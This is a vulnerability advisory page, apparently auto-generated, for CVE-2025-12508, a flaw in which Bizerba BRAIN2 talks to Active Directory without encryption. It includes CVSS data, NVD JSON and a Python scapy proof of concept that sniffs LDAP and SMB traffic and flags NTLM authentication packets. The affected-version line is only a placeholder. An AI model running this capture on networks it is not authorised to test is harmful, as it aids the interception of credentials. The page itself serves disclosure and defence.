Security Vulnerability Report
中文
CVE-2025-12508 CVSS 8.4 HIGH

CVE-2025-12508

Published: 2025-10-31 16:15:40
Last Modified: 2026-04-15 00:35:42
Source: 0beee27a-7d8c-424f-8e46-ac453fa147e6

Description

When using domain users as BRAIN2 users, communication with Active Directory services is unencrypted. This can lead to the interception of authentication data and compromise confidentiality.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BIZERBA BRAIN2 < 修复版本(具体版本号需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12508 PoC - Network Traffic Capture for Unencrypted AD Communication # This PoC demonstrates capturing unencrypted authentication data # Only for authorized security testing import scapy.all as scapy from scapy.layers import http import argparse def capture_ad_traffic(interface, target_ip=None): """ Capture unencrypted AD authentication traffic Requires root privileges and authorized testing environment """ print(f"[*] Starting packet capture on {interface}") print("[*] Looking for unencrypted LDAP/SMB traffic to AD servers") # Filter for LDAP traffic (port 389 - unencrypted) ldap_filter = "tcp port 389" # Also capture SMB traffic (ports 445/139) smb_filter = "tcp port 445 or tcp port 139" if target_ip: ldap_filter += f" and host {target_ip}" smb_filter += f" and host {target_ip}" print(f"[*] Filter: ({ldap_filter}) or ({smb_filter})") print("[*] Press Ctrl+C to stop capture") def process_packet(packet): # Check for LDAP traffic on port 389 if packet.haslayer(scapy.TCP): if packet[scapy.TCP].dport == 389 or packet[scapy.TCP].sport == 389: print(f"[!] Unencrypted LDAP traffic detected from {packet[scapy.IP].src}") print(f"[!] This may contain authentication credentials") # Check for SMB/NTLM traffic elif packet[scapy.TCP].dport == 445 or packet[scapy.TCP].sport == 445: if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load if b'NTLM' in payload or b'Negotiate' in payload: print(f"[!] NTLM authentication traffic detected") print(f"[!] Source: {packet[scapy.IP].src} -> {packet[scapy.IP].dst}") scapy.sniff(iface=interface, filter=f"({ldap_filter}) or ({smb_filter})", prn=process_packet, store=0) if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12508 PoC') parser.add_argument('-i', '--interface', required=True, help='Network interface') parser.add_argument('-t', '--target', help='Target AD server IP') args = parser.parse_args() capture_ad_traffic(args.interface, args.target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12508", "sourceIdentifier": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "published": "2025-10-31T16:15:39.600", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using domain users as BRAIN2 users, communication with Active Directory services is unencrypted. This can lead to the interception of authentication data and compromise confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://www.bizerba.com/downloads/global/information-security/2025/bizerba-sa-2025-0006.pdf", "source": "0beee27a-7d8c-424f-8e46-ac453fa147e6"}]}}